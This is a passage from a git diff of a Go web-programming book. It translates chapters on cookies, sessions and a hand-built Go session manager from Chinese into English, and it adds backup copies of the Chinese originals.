-上面的例子演示了如何设置cookie数据,我们这里来演示一下如何读取cookie - - cookie, _ := r.Cookie("username") - fmt.Fprint(w, cookie) - -还有另外一种读取方式 - - for _, cookie := range r.Cookies() { - fmt.Fprint(w, cookie.Name) - } - -可以看到通过request获取cookie非常方便。 - -## session - -session,中文经常翻译为会话,其本来的含义是指有始有终的一系列动作/消息,比如打电话是从拿起电话拨号到挂断电话这中间的一系列过程可以称之为一个session。然而当session一词与网络协议相关联时,它又往往隐含了“面向连接”和/或“保持状态”这样两个含义。 - -session在Web开发环境下的语义又有了新的扩展,它的含义是指一类用来在客户端与服务器端之间保持状态的解决方案。有时候Session也用来指这种解决方案的存储结构。 - -session机制是一种服务器端的机制,服务器使用一种类似于散列表的结构(也可能就是使用散列表)来保存信息。 - -但程序需要为某个客户端的请求创建一个session的时候,服务器首先检查这个客户端的请求里是否包含了一个session标识-称为session id,如果已经包含一个session id则说明以前已经为此客户创建过session,服务器就按照session id把这个session检索出来使用(如果检索不到,可能会新建一个,这种情况可能出现在服务端已经删除了该用户对应的session对象,但用户人为地在请求的URL后面附加上一个JSESSION的参数)。如果客户请求不包含session id,则为此客户创建一个session并且同时生成一个与此session相关联的session id,这个session id将在本次响应中返回给客户端保存。 - -session机制本身并不复杂,然而其实现和配置上的灵活性却使得具体情况复杂多变。这也要求我们不能把仅仅某一次的经验或者某一个浏览器,服务器的经验当作普遍适用的。 - -## 小结 - -如上文所述,session和cookie的目的相同,都是为了克服http协议无状态的缺陷,但完成的方法不同。session通过cookie,在客户端保存session id,而将用户的其他会话消息保存在服务端的session对象中,与此相对的,cookie需要将所有信息都保存在客户端。因此cookie存在着一定的安全隐患,例如本地cookie中保存的用户名密码被破译,或cookie被其他网站收集(例如:1. appA主动设置域B cookie,让域B cookie获取;2. XSS,在appA上通过javascript获取document.cookie,并传递给自己的appB)。 - - -通过上面的一些简单介绍我们了解了cookie和session的一些基础知识,知道他们之间的联系和区别,做web开发之前,有必要将一些必要知识了解清楚,才不会在用到时捉襟见肘,或是在调bug时候如无头苍蝇乱转。接下来的几小节我们将详细介绍session相关的知识。 - -## links - * [目录]() - * 上一节: [session和数据存储](<06.0.md>) - * 下一节: [Go如何使用session](<06.2.md>) +## 6.1 Session and cookies + +Sessions and cookies are two very common web concepts, and are also very easy to misunderstand. However, they are extremely important for the authorization of pages, as well as for gathering page statistics. Let's take a look at these two use cases. + +Suppose you want to crawl a page that restricts public access, like a twitter user's homepage for instance. Of course you can open your browser and type in your username and password to login and access that information, but so-called "web crawling" means that we use a program to automate this process without any human intervention. Therefore, we have to find out what is really going on behind the scenes when we use a browser to login. + +When we first receive a login page and type in a username and password, after we press the "login" button, the browser sends a POST request to the remote server. The Browser redirects to the user homepage after the server verifies the login information and returns an HTTP response. The question here is, how does the server know that we have access priviledges for the desired webpage? Because HTTP is stateless, the server has no way of knowing whether or not we passed the verification in last step. The easiest and perhaps the most naive solution is to append the username and password to the URL. This works, but puts too much pressure on the server (the server must validate every request against the database), and can be detrimental to the user experience. An alternative way of achieving this goal is to save the user's identity either on the server side or client side using cookies and sessions. + +Cookies, in short, store historical information (including user login information) on the client's computer. The client's browser sends these cookies everytime the user visits the same website, automatically completing the login step for the user. + +![](images/6.1.cookie2.png?raw=true) + +Figure 6.1 cookie principle. + +Sessions, on the other hand, store historical information on the server side. The server uses a session id to identify different sessions, and the session id that is generated by the server should always be random and unique. You can use cookies or URL arguments to get the client's identity. + +![](images/6.1.session.png?raw=true) + +Figure 6.2 session principle. + +## Cookies + +Cookies are maintained by browsers. They can be modified during communication between webservers and browsers. Web applications can access cookie information when users visit the corresponding websites. Within most browser settings, there is one setting pertaining to cookie privacy. You should be able to see something similar to the following when you open it. + +![](images/6.1.cookie.png?raw=true) + +Figure 6.3 cookie in browsers. + +Cookies have an expiry time, and there are two types of cookies distinguished by their life cyles: session cookies and persistent cookies. + +If your application doesn't set a cookie expiry time, the browser will not save it into the local file system after the browser is closed. These cookies are called session cookies, and this type of cookie is usually saved in memory instead of to the local file system. + +If your application does set an expiry time (for example, setMaxAge(60*60*24)), the browser *will* save this cookie to the local file system, and it will not be deleted until reaching the allotted expiry time. Cookies that are saved to the local file system can be shared by different browser processes -for example, by two IE windows; different browsers use different processes for dealing with cookies that are saved in memory.    + +## Set cookies in Go + +Go uses the `SetCookie` function in the `net/http` package to set cookies: + + http.SetCookie(w ResponseWriter, cookie *Cookie) + +`w` is the response of the request and cookie is a struct. Let's see what it looks like: + + type Cookie struct { + Name string + Value string + Path string + Domain string + Expires time.Time + RawExpires string + + // MaxAge=0 means no 'Max-Age' attribute specified. + // MaxAge<0 means delete cookie now, equivalently 'Max-Age: 0' + // MaxAge>0 means Max-Age attribute present and given in seconds + MaxAge int + Secure bool + HttpOnly bool + Raw string + Unparsed []string // Raw text of unparsed attribute-value pairs + } + +Here is an example of setting a cookie: + + expiration := *time.LocalTime() + expiration.Year += 1 + cookie := http.Cookie{Name: "username", Value: "astaxie", Expires: expiration} + http.SetCookie(w, &cookie) +   + +## Fetch cookies in Go + +The above example shows how to set a cookie. Now let's see how to get a cookie that has been set: + + cookie, _ := r.Cookie("username") + fmt.Fprint(w, cookie) + +Here is another way to get a cookie: + + for _, cookie := range r.Cookies() { + fmt.Fprint(w, cookie.Name) + } + +As you can see, it's very convenient to get cookies from requests. + +## Sessions + +A session is a series of actions or messages. For example, you can think of the actions you between picking up your telephone to hanging up to be a type of session. When it comes to network protocols, sessions have more to do with connections between browsers and servers. + +Sessions help to store the connection status between server and client, and this can sometimes be in the form of a data storage struct. + +Sessions are a server side mechanism, and usually employ hash tables (or something similar) to save incoming information. + +When an application needs to assign a new session to a client, the server should check if there are any existing sessions for same client with a unique session id. If the session id already exists, the server will just return the same session to the client. On the other hand, if a session id doesn't exist for the client, the server creates a brand new session (this usually happens when the server has deleted the corresponding session id, but the user has appended the old session manually). + +The session itself is not complex but its implementation and deployment are, so you cannot use "one way to rule them all". + +## Summary + +In conclusion, the purpose of sessions and cookies are the same. They are both for overcoming the statelessness of HTTP, but they use different ways. Sessions use cookies to save session ids on the client side, and save all other information on the server side. Cookies save all client information on the client side. You may have noticed that cookies have some security problems. For example, usernames and passwords can potentially be cracked and collected by malicious third party websites. + +Here are two common exploits: + +1. appA setting an unexpected cookie for appB. +2. XSS attack: appA uses the JavaScript `document.cookie` to access the cookies of appB. + +After finishing this section, you should know some of the basic concepts of cookies and sessions. You should be able to understand the differences between them so that you won't kill yourself when bugs inevitably emerge. We'll discuss sessions in more detail in the following sections. + +## Links + +- [Directory](preface.md) +- Previous section: [Data storage and session](06.0.md) +- Next section: [How to use session in Go](06.2.md) diff --git a/en/06.1.md~380a8ee74c41759d8189ad553423467994187253 b/en/06.1.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..ba2b1241 --- /dev/null +++ b/en/06.1.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,105 @@ +# 6.1 session和cookie +session和cookie是网站浏览中较为常见的两个概念,也是比较难以辨析的两个概念,但它们在浏览需要认证的服务页面以及页面统计中却相当关键。我们先来了解一下session和cookie怎么来的?考虑这样一个问题: + +如何抓取一个访问受限的网页?如新浪微博好友的主页,个人微博页面等。 + +显然,通过浏览器,我们可以手动输入用户名和密码来访问页面,而所谓的“抓取”,其实就是使用程序来模拟完成同样的工作,因此我们需要了解“登陆”过程中到底发生了什么。 + +当用户来到微博登陆页面,输入用户名和密码之后点击“登录”后浏览器将认证信息POST给远端的服务器,服务器执行验证逻辑,如果验证通过,则浏览器会跳转到登录用户的微博首页,在登录成功后,服务器如何验证我们对其他受限制页面的访问呢?因为HTTP协议是无状态的,所以很显然服务器不可能知道我们已经在上一次的HTTP请求中通过了验证。当然,最简单的解决方案就是所有的请求里面都带上用户名和密码,这样虽然可行,但大大加重了服务器的负担(对于每个request都需要到数据库验证),也大大降低了用户体验(每个页面都需要重新输入用户名密码,每个页面都带有登录表单)。既然直接在请求中带上用户名与密码不可行,那么就只有在服务器或客户端保存一些类似的可以代表身份的信息了,所以就有了cookie与session。 + +cookie,简而言之就是在本地计算机保存一些用户操作的历史信息(当然包括登录信息),并在用户再次访问该站点时浏览器通过HTTP协议将本地cookie内容发送给服务器,从而完成验证,或继续上一步操作。 + +![](images/6.1.cookie2.png?raw=true) + +图6.1 cookie的原理图 + +session,简而言之就是在服务器上保存用户操作的历史信息。服务器使用session id来标识session,session id由服务器负责产生,保证随机性与唯一性,相当于一个随机密钥,避免在握手或传输中暴露用户真实密码。但该方式下,仍然需要将发送请求的客户端与session进行对应,所以可以借助cookie机制来获取客户端的标识(即session id),也可以通过GET方式将id提交给服务器。 + +![](images/6.1.session.png?raw=true) + +图6.2 session的原理图 + +## cookie +Cookie是由浏览器维持的,存储在客户端的一小段文本信息,伴随着用户请求和页面在Web服务器和浏览器之间传递。用户每次访问站点时,Web应用程序都可以读取cookie包含的信息。浏览器设置里面有cookie隐私数据选项,打开它,可以看到很多已访问网站的cookies,如下图所示: + +![](images/6.1.cookie.png?raw=true) + +图6.3 浏览器端保存的cookie信息 + +cookie是有时间限制的,根据生命期不同分成两种:会话cookie和持久cookie; + +如果不设置过期时间,则表示这个cookie生命周期为从创建到浏览器关闭止,只要关闭浏览器窗口,cookie就消失了。这种生命期为浏览会话期的cookie被称为会话cookie。会话cookie一般不保存在硬盘上而是保存在内存里。 + +如果设置了过期时间(setMaxAge(60*60*24)),浏览器就会把cookie保存到硬盘上,关闭后再次打开浏览器,这些cookie依然有效直到超过设定的过期时间。存储在硬盘上的cookie可以在不同的浏览器进程间共享,比如两个IE窗口。而对于保存在内存的cookie,不同的浏览器有不同的处理方式。 +   + +### Go设置cookie +Go语言中通过net/http包中的SetCookie来设置: + + http.SetCookie(w ResponseWriter, cookie *Cookie) + +w表示需要写入的response,cookie是一个struct,让我们来看一下cookie对象是怎么样的 + + type Cookie struct { + Name string + Value string + Path string + Domain string + Expires time.Time + RawExpires string + + // MaxAge=0 means no 'Max-Age' attribute specified. + // MaxAge<0 means delete cookie now, equivalently 'Max-Age: 0' + // MaxAge>0 means Max-Age attribute present and given in seconds + MaxAge int + Secure bool + HttpOnly bool + Raw string + Unparsed []string // Raw text of unparsed attribute-value pairs + } + +我们来看一个例子,如何设置cookie + + expiration := time.Now() + expiration = expiration.AddDate(1, 0, 0) + cookie := http.Cookie{Name: "username", Value: "astaxie", Expires: expiration} + http.SetCookie(w, &cookie) + +   +### Go读取cookie +上面的例子演示了如何设置cookie数据,我们这里来演示一下如何读取cookie + + cookie, _ := r.Cookie("username") + fmt.Fprint(w, cookie) + +还有另外一种读取方式 + + for _, cookie := range r.Cookies() { + fmt.Fprint(w, cookie.Name) + } + +可以看到通过request获取cookie非常方便。 + +## session + +session,中文经常翻译为会话,其本来的含义是指有始有终的一系列动作/消息,比如打电话是从拿起电话拨号到挂断电话这中间的一系列过程可以称之为一个session。然而当session一词与网络协议相关联时,它又往往隐含了“面向连接”和/或“保持状态”这样两个含义。 + +session在Web开发环境下的语义又有了新的扩展,它的含义是指一类用来在客户端与服务器端之间保持状态的解决方案。有时候Session也用来指这种解决方案的存储结构。 + +session机制是一种服务器端的机制,服务器使用一种类似于散列表的结构(也可能就是使用散列表)来保存信息。 + +但程序需要为某个客户端的请求创建一个session的时候,服务器首先检查这个客户端的请求里是否包含了一个session标识-称为session id,如果已经包含一个session id则说明以前已经为此客户创建过session,服务器就按照session id把这个session检索出来使用(如果检索不到,可能会新建一个,这种情况可能出现在服务端已经删除了该用户对应的session对象,但用户人为地在请求的URL后面附加上一个JSESSION的参数)。如果客户请求不包含session id,则为此客户创建一个session并且同时生成一个与此session相关联的session id,这个session id将在本次响应中返回给客户端保存。 + +session机制本身并不复杂,然而其实现和配置上的灵活性却使得具体情况复杂多变。这也要求我们不能把仅仅某一次的经验或者某一个浏览器,服务器的经验当作普遍适用的。 + +## 小结 + +如上文所述,session和cookie的目的相同,都是为了克服http协议无状态的缺陷,但完成的方法不同。session通过cookie,在客户端保存session id,而将用户的其他会话消息保存在服务端的session对象中,与此相对的,cookie需要将所有信息都保存在客户端。因此cookie存在着一定的安全隐患,例如本地cookie中保存的用户名密码被破译,或cookie被其他网站收集(例如:1. appA主动设置域B cookie,让域B cookie获取;2. XSS,在appA上通过javascript获取document.cookie,并传递给自己的appB)。 + + +通过上面的一些简单介绍我们了解了cookie和session的一些基础知识,知道他们之间的联系和区别,做web开发之前,有必要将一些必要知识了解清楚,才不会在用到时捉襟见肘,或是在调bug时候如无头苍蝇乱转。接下来的几小节我们将详细介绍session相关的知识。 + +## links + * [目录]() + * 上一节: [session和数据存储](<06.0.md>) + * 下一节: [Go如何使用session](<06.2.md>) diff --git a/en/06.2.md b/en/06.2.md index b506c7bd..0bbb6bdf 100644 --- a/en/06.2.md +++ b/en/06.2.md @@ -1,215 +1,222 @@ -# 6.2 Go如何使用session -通过上一小节的介绍,我们知道session是在服务器端实现的一种用户和服务器之间认证的解决方案,目前Go标准包没有为session提供任何支持,这小节我们将会自己动手来实现go版本的session管理和创建。 - -## session创建过程 -session的基本原理是由服务器为每个会话维护一份信息数据,客户端和服务端依靠一个全局唯一的标识来访问这份数据,以达到交互的目的。当用户访问Web应用时,服务端程序会随需要创建session,这个过程可以概括为三个步骤: - -- 生成全局唯一标识符(sessionid); -- 开辟数据存储空间。一般会在内存中创建相应的数据结构,但这种情况下,系统一旦掉电,所有的会话数据就会丢失,如果是电子商务类网站,这将造成严重的后果。所以为了解决这类问题,你可以将会话数据写到文件里或存储在数据库中,当然这样会增加I/O开销,但是它可以实现某种程度的session持久化,也更有利于session的共享; -- 将session的全局唯一标示符发送给客户端。 - -以上三个步骤中,最关键的是如何发送这个session的唯一标识这一步上。考虑到HTTP协议的定义,数据无非可以放到请求行、头域或Body里,所以一般来说会有两种常用的方式:cookie和URL重写。 - -1. Cookie -服务端通过设置Set-cookie头就可以将session的标识符传送到客户端,而客户端此后的每一次请求都会带上这个标识符,另外一般包含session信息的cookie会将失效时间设置为0(会话cookie),即浏览器进程有效时间。至于浏览器怎么处理这个0,每个浏览器都有自己的方案,但差别都不会太大(一般体现在新建浏览器窗口的时候); -2. URL重写 -所谓URL重写,就是在返回给用户的页面里的所有的URL后面追加session标识符,这样用户在收到响应之后,无论点击响应页面里的哪个链接或提交表单,都会自动带上session标识符,从而就实现了会话的保持。虽然这种做法比较麻烦,但是,如果客户端禁用了cookie的话,此种方案将会是首选。 - -## Go实现session管理 -通过上面session创建过程的讲解,读者应该对session有了一个大体的认识,但是具体到动态页面技术里面,又是怎么实现session的呢?下面我们将结合session的生命周期(lifecycle),来实现go语言版本的session管理。 - -### session管理设计 -我们知道session管理涉及到如下几个因素 - -- 全局session管理器 -- 保证sessionid 的全局唯一性 -- 为每个客户关联一个session -- session 的存储(可以存储到内存、文件、数据库等) -- session 过期处理 - -接下来我将讲解一下我关于session管理的整个设计思路以及相应的go代码示例: - -### Session管理器 - -定义一个全局的session管理器 - - type Manager struct { - cookieName string //private cookiename - lock sync.Mutex // protects session - provider Provider - maxlifetime int64 - } - - func NewManager(provideName, cookieName string, maxlifetime int64) (*Manager, error) { - provider, ok := provides[provideName] - if !ok { - return nil, fmt.Errorf("session: unknown provide %q (forgotten import?)", provideName) - } - return &Manager{provider: provider, cookieName: cookieName, maxlifetime: maxlifetime}, nil - } - -Go实现整个的流程应该也是这样的,在main包中创建一个全局的session管理器 - - var globalSessions *session.Manager - //然后在init函数中初始化 - func init() { - globalSessions, _ = NewManager("memory","gosessionid",3600) - } - -我们知道session是保存在服务器端的数据,它可以以任何的方式存储,比如存储在内存、数据库或者文件中。因此我们抽象出一个Provider接口,用以表征session管理器底层存储结构。 - - type Provider interface { - SessionInit(sid string) (Session, error) - SessionRead(sid string) (Session, error) - SessionDestroy(sid string) error - SessionGC(maxLifeTime int64) - } - -- SessionInit函数实现Session的初始化,操作成功则返回此新的Session变量 -- SessionRead函数返回sid所代表的Session变量,如果不存在,那么将以sid为参数调用SessionInit函数创建并返回一个新的Session变量 -- SessionDestroy函数用来销毁sid对应的Session变量 -- SessionGC根据maxLifeTime来删除过期的数据 - -那么Session接口需要实现什么样的功能呢?有过Web开发经验的读者知道,对Session的处理基本就 设置值、读取值、删除值以及获取当前sessionID这四个操作,所以我们的Session接口也就实现这四个操作。 - - type Session interface { - Set(key, value interface{}) error //set session value - Get(key interface{}) interface{} //get session value - Delete(key interface{}) error //delete session value - SessionID() string //back current sessionID - } - ->以上设计思路来源于database/sql/driver,先定义好接口,然后具体的存储session的结构实现相应的接口并注册后,相应功能这样就可以使用了,以下是用来随需注册存储session的结构的Register函数的实现。 - - var provides = make(map[string]Provider) - - // Register makes a session provide available by the provided name. - // If Register is called twice with the same name or if driver is nil, - // it panics. - func Register(name string, provider Provider) { - if provider == nil { - panic("session: Register provide is nil") - } - if _, dup := provides[name]; dup { - panic("session: Register called twice for provide " + name) - } - provides[name] = provider - } - -### 全局唯一的Session ID - -Session ID是用来识别访问Web应用的每一个用户,因此必须保证它是全局唯一的(GUID),下面代码展示了如何满足这一需求: - - func (manager *Manager) sessionId() string { - b := make([]byte, 32) - if _, err := io.ReadFull(rand.Reader, b); err != nil { - return "" - } - return base64.URLEncoding.EncodeToString(b) - } - -### session创建 -我们需要为每个来访用户分配或获取与他相关连的Session,以便后面根据Session信息来验证操作。SessionStart这个函数就是用来检测是否已经有某个Session与当前来访用户发生了关联,如果没有则创建之。 - - func (manager *Manager) SessionStart(w http.ResponseWriter, r *http.Request) (session Session) { - manager.lock.Lock() - defer manager.lock.Unlock() - cookie, err := r.Cookie(manager.cookieName) - if err != nil || cookie.Value == "" { - sid := manager.sessionId() - session, _ = manager.provider.SessionInit(sid) - cookie := http.Cookie{Name: manager.cookieName, Value: url.QueryEscape(sid), Path: "/", HttpOnly: true, MaxAge: int(manager.maxlifetime)} - http.SetCookie(w, &cookie) - } else { - sid, _ := url.QueryUnescape(cookie.Value) - session, _ = manager.provider.SessionRead(sid) - } - return - } - -我们用前面login操作来演示session的运用: - - func login(w http.ResponseWriter, r *http.Request) { - sess := globalSessions.SessionStart(w, r) - r.ParseForm() - if r.Method == "GET" { - t, _ := template.ParseFiles("login.gtpl") - w.Header().Set("Content-Type", "text/html") - t.Execute(w, sess.Get("username")) - } else { - sess.Set("username", r.Form["username"]) - http.Redirect(w, r, "/", 302) - } - } - -### 操作值:设置、读取和删除 -SessionStart函数返回的是一个满足Session接口的变量,那么我们该如何用他来对session数据进行操作呢? - -上面的例子中的代码`session.Get("uid")`已经展示了基本的读取数据的操作,现在我们再来看一下详细的操作: - - func count(w http.ResponseWriter, r *http.Request) { - sess := globalSessions.SessionStart(w, r) - createtime := sess.Get("createtime") - if createtime == nil { - sess.Set("createtime", time.Now().Unix()) - } else if (createtime.(int64) + 360) < (time.Now().Unix()) { - globalSessions.SessionDestroy(w, r) - sess = globalSessions.SessionStart(w, r) - } - ct := sess.Get("countnum") - if ct == nil { - sess.Set("countnum", 1) - } else { - sess.Set("countnum", (ct.(int) + 1)) - } - t, _ := template.ParseFiles("count.gtpl") - w.Header().Set("Content-Type", "text/html") - t.Execute(w, sess.Get("countnum")) - } - -通过上面的例子可以看到,Session的操作和操作key/value数据库类似:Set、Get、Delete等操作 - -因为Session有过期的概念,所以我们定义了GC操作,当访问过期时间满足GC的触发条件后将会引起GC,但是当我们进行了任意一个session操作,都会对Session实体进行更新,都会触发对最后访问时间的修改,这样当GC的时候就不会误删除还在使用的Session实体。 - -### session重置 -我们知道,Web应用中有用户退出这个操作,那么当用户退出应用的时候,我们需要对该用户的session数据进行销毁操作,上面的代码已经演示了如何使用session重置操作,下面这个函数就是实现了这个功能: - - //Destroy sessionid - func (manager *Manager) SessionDestroy(w http.ResponseWriter, r *http.Request){ - cookie, err := r.Cookie(manager.cookieName) - if err != nil || cookie.Value == "" { - return - } else { - manager.lock.Lock() - defer manager.lock.Unlock() - manager.provider.SessionDestroy(cookie.Value) - expiration := time.Now() - cookie := http.Cookie{Name: manager.cookieName, Path: "/", HttpOnly: true, Expires: expiration, MaxAge: -1} - http.SetCookie(w, &cookie) - } - } - - -### session销毁 -我们来看一下Session管理器如何来管理销毁,只要我们在Main启动的时候启动: - - func init() { - go globalSessions.GC() - } - - func (manager *Manager) GC() { - manager.lock.Lock() - defer manager.lock.Unlock() - manager.provider.SessionGC(manager.maxlifetime) - time.AfterFunc(time.Duration(manager.maxlifetime), func() { manager.GC() }) - } - -我们可以看到GC充分利用了time包中的定时器功能,当超时`maxLifeTime`之后调用GC函数,这样就可以保证`maxLifeTime`时间内的session都是可用的,类似的方案也可以用于统计在线用户数之类的。 - -## 总结 -至此 我们实现了一个用来在Web应用中全局管理Session的SessionManager,定义了用来提供Session存储实现Provider的接口,下一小节,我们将会通过接口定义来实现一些Provider,供大家参考学习。 - -## links - * [目录]() - * 上一节: [session和cookie](<06.1.md>) - * 下一节: [session存储](<06.3.md>) +# 6.2 How to use sessions in Go + +In section 6.1, we learned that sessions are one solution for verifying users, and that for now, the Go standard library does not have baked-in support for sessions or session handling. So, we're going to implement our own version of a session manager in Go. + +## Creating sessions + +The basic principle behind sessions is that a server maintains information for every single client, and clients rely on unique session ids to access this information. When users visit the web application, the server will create a new session with the following three steps, as needed: + +- Create a unique session id +- Open up a data storage space: normally we save sessions in memory, but you will lose all session data if the system is accidentally interrupted. This can be a very serious issue if web application deals with sensitive data, like in electronic commerce for instance. In order to solve this problem, you can instead save your session data in a database or file system. This makes data persistence more reliable and easy to share with other applications, although the tradeoff is that more server-side IO is needed to read and write these sessions. +- Send the unique session id to the client. + +The key step here is to send the unique session id to the client. In the context of a standard HTTP response, you can either use the response line, header or body to accomplish this; therefore, we have two ways to send session ids to clients: by cookies or URL rewrites. + +- Cookies: the server can easily use `Set-cookie` inside of a response header to save a session id to a client, and a client can then this cookie for future requests; we often set the expiry time for for cookies containing session information to 0, which means the cookie will be saved in memory and only deleted after users have close their browsers. +- URL rewrite: append the session id as arguments in the URL for all pages. This way seems messy, but it's the best choice if clients have disabled cookies in their browsers. + +## Use Go to manage sessions + +We've talked about constructing sessions, and you should now have a general overview of it, but how can we use sessions on dynamic pages? Let's take a closer look at the life cycle of a session so we can continue implementing our Go session manager. + +### Session management design + +Here is a list of some of the key considerations in session management design. + +- Global session manager. +- Keep session id unique. +- Have one session for every user. +- Session storage in memory, file or database. +- Deal with expired sessions. + +Next, we'll examine a complete example of a Go session manager and the rationale behind some of its design decisions. + +### Session manager + +Define a global session manager: + + type Manager struct { + cookieName string //private cookiename + lock sync.Mutex // protects session + provider Provider + maxlifetime int64 + } + + func NewManager(provideName, cookieName string, maxlifetime int64) (*Manager, error) { + provider, ok := provides[provideName] + if !ok { + return nil, fmt.Errorf("session: unknown provide %q (forgotten import?)", provideName) + } + return &Manager{provider: provider, cookieName: cookieName, maxlifetime: maxlifetime}, nil + } + +Create a global session manager in the `main()` function: + + var globalSessions *session.Manager + // Then, initialize the session manager + func init() { + globalSessions = NewManager("memory","gosessionid",3600) + } + +We know that we can save sessions in many ways including in memory, the file system or directly into the database. We need to define a `Provider` interface in order to represent the underlying structure of our session manager: + + type Provider interface { + SessionInit(sid string) (Session, error) + SessionRead(sid string) (Session, error) + SessionDestroy(sid string) error + SessionGC(maxLifeTime int64) + } + +- `SessionInit` implements the initialization of a session, and returns new a session if it succeeds. +- `SessionRead` returns a session represented by the corresponding sid. Creates a new session and returns it if it does not already exist. +- `SessionDestroy` given an sid, deletes the corresponding session. +- `SessionGC` deletes expired session variables according to `maxLifeTime`. + +So what methods should our session interface have? If you have any experience in web development, you should know that there are only four operations for sessions: set value, get value, delete value and get current session id. So, our session interface should have four methods to perform these operations. + + type Session interface { + Set(key, value interface{}) error //set session value + Get(key interface{}) interface{} //get session value + Delete(key interface{}) error //delete session value + SessionID() string //back current sessionID + } + +This design takes its roots from the `database/sql/driver`, which defines the interface first, then registers specific structures when we want to use it. The following code is the internal implementation of a session register function. + + var provides = make(map[string]Provider) + + // Register makes a session provider available by the provided name. + // If a Register is called twice with the same name or if the driver is nil, + // it panics. + func Register(name string, provider Provider) { + if provider == nil { + panic("session: Register provide is nil") + } + if _, dup := provides[name]; dup { + panic("session: Register called twice for provide " + name) + } + provides[name] = provider + } + +### Unique session ids + +Session ids are for identifying users of web applications, so they must be unique. The following code shows how to achieve this goal: + + func (manager *Manager) sessionId() string { + b := make([]byte, 32) + if _, err := io.ReadFull(rand.Reader, b); err != nil { + return "" + } + return base64.URLEncoding.EncodeToString(b) + } + +### Creating a session + +We need to allocate or get an existing session in order to validate user operations. The `SessionStart` function is for checking if any there are any sessions related to the current user, creating a new session non are found. + + func (manager *Manager) SessionStart(w http.ResponseWriter, r *http.Request) (session Session) { + manager.lock.Lock() + defer manager.lock.Unlock() + cookie, err := r.Cookie(manager.cookieName) + if err != nil || cookie.Value == "" { + sid := manager.sessionId() + session, _ = manager.provider.SessionInit(sid) + cookie := http.Cookie{Name: manager.cookieName, Value: url.QueryEscape(sid), Path: "/", HttpOnly: true, MaxAge: int(manager.maxlifetime)} + http.SetCookie(w, &cookie) + } else { + sid, _ := url.QueryUnescape(cookie.Value) + session, _ = manager.provider.SessionRead(sid) + } + return + } + +Here is an example that uses sessions for a login operation. + + func login(w http.ResponseWriter, r *http.Request) { + sess := globalSessions.SessionStart(w, r) + r.ParseForm() + if r.Method == "GET" { + t, _ := template.ParseFiles("login.gtpl") + w.Header().Set("Content-Type", "text/html") + t.Execute(w, sess.Get("username")) + } else { + sess.Set("username", r.Form["username"]) + http.Redirect(w, r, "/", 302) + } + } + +### Operation value: set, get and delete + +The `SessionStart` function returns a variable that implements a session interface. How do we use it? + +You saw `session.Get("uid")` in the above example for a basic operation. Now let's examine a more detailed example. + + func count(w http.ResponseWriter, r *http.Request) { + sess := globalSessions.SessionStart(w, r) + createtime := sess.Get("createtime") + if createtime == nil { + sess.Set("createtime", time.Now().Unix()) + } else if (createtime.(int64) + 360) < (time.Now().Unix()) { + globalSessions.SessionDestroy(w, r) + sess = globalSessions.SessionStart(w, r) + } + ct := sess.Get("countnum") + if ct == nil { + sess.Set("countnum", 1) + } else { + sess.Set("countnum", (ct.(int) + 1)) + } + t, _ := template.ParseFiles("count.gtpl") + w.Header().Set("Content-Type", "text/html") + t.Execute(w, sess.Get("countnum")) + } + +As you can see, operating on sessions simply involves using the key/value pattern in the Set, Get and Delete operations. + +Because sessions have the concept of an expiry time, we define the GC to update the session's latest modify time. This way, the GC will not delete sessions that have expired but are still being used. + +### Reset sessions + +We know that web application have a logout operation. When users logout, we need to delete the corresponding session. We've already used the reset operation in above example -now let's take a look at the function body. + + //Destroy sessionid + func (manager *Manager) SessionDestroy(w http.ResponseWriter, r *http.Request){ + cookie, err := r.Cookie(manager.cookieName) + if err != nil || cookie.Value == "" { + return + } else { + manager.lock.Lock() + defer manager.lock.Unlock() + manager.provider.SessionDestroy(cookie.Value) + expiration := time.Now() + cookie := http.Cookie{Name: manager.cookieName, Path: "/", HttpOnly: true, Expires: expiration, MaxAge: -1} + http.SetCookie(w, &cookie) + } + } + +### Delete sessions + +Let's see how to let the session manager delete a session. We need to start the GC in the `main()` function: + + func init() { + go globalSessions.GC() + } + + func (manager *Manager) GC() { + manager.lock.Lock() + defer manager.lock.Unlock() + manager.provider.SessionGC(manager.maxlifetime) + time.AfterFunc(time.Duration(manager.maxlifetime), func() { manager.GC() }) + } + +We see that the GC makes full use of the timer function in the `time` package. It automatically calls GC when the session times out, ensuring that all sessions are usable during `maxLifeTime`. A similar solution can be used to count online users. + +## Summary + +So far, we implemented a session manager to manage global sessions in the web application and defined the `Provider` interface as the storage implementation of `Session`. In the next section, we are going to talk about how to implement `Provider` for additional session storage structures, which you will be able to reference in the future. + +## Links + +- [Directory](preface.md) +- Previous section: [Session and cookies](06.1.md) +- Next section: [Session storage](06.3.md) diff --git a/en/06.2.md~380a8ee74c41759d8189ad553423467994187253 b/en/06.2.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..d1ed7a42 --- /dev/null +++ b/en/06.2.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,215 @@ +# 6.2 Go如何使用session +通过上一小节的介绍,我们知道session是在服务器端实现的一种用户和服务器之间认证的解决方案,目前Go标准包没有为session提供任何支持,这小节我们将会自己动手来实现go版本的session管理和创建。 + +## session创建过程 +session的基本原理是由服务器为每个会话维护一份信息数据,客户端和服务端依靠一个全局唯一的标识来访问这份数据,以达到交互的目的。当用户访问Web应用时,服务端程序会随需要创建session,这个过程可以概括为三个步骤: + +- 生成全局唯一标识符(sessionid); +- 开辟数据存储空间。一般会在内存中创建相应的数据结构,但这种情况下,系统一旦掉电,所有的会话数据就会丢失,如果是电子商务类网站,这将造成严重的后果。所以为了解决这类问题,你可以将会话数据写到文件里或存储在数据库中,当然这样会增加I/O开销,但是它可以实现某种程度的session持久化,也更有利于session的共享; +- 将session的全局唯一标示符发送给客户端。 + +以上三个步骤中,最关键的是如何发送这个session的唯一标识这一步上。考虑到HTTP协议的定义,数据无非可以放到请求行、头域或Body里,所以一般来说会有两种常用的方式:cookie和URL重写。 + +1. Cookie +服务端通过设置Set-cookie头就可以将session的标识符传送到客户端,而客户端此后的每一次请求都会带上这个标识符,另外一般包含session信息的cookie会将失效时间设置为0(会话cookie),即浏览器进程有效时间。至于浏览器怎么处理这个0,每个浏览器都有自己的方案,但差别都不会太大(一般体现在新建浏览器窗口的时候); +2. URL重写 +所谓URL重写,就是在返回给用户的页面里的所有的URL后面追加session标识符,这样用户在收到响应之后,无论点击响应页面里的哪个链接或提交表单,都会自动带上session标识符,从而就实现了会话的保持。虽然这种做法比较麻烦,但是,如果客户端禁用了cookie的话,此种方案将会是首选。 + +## 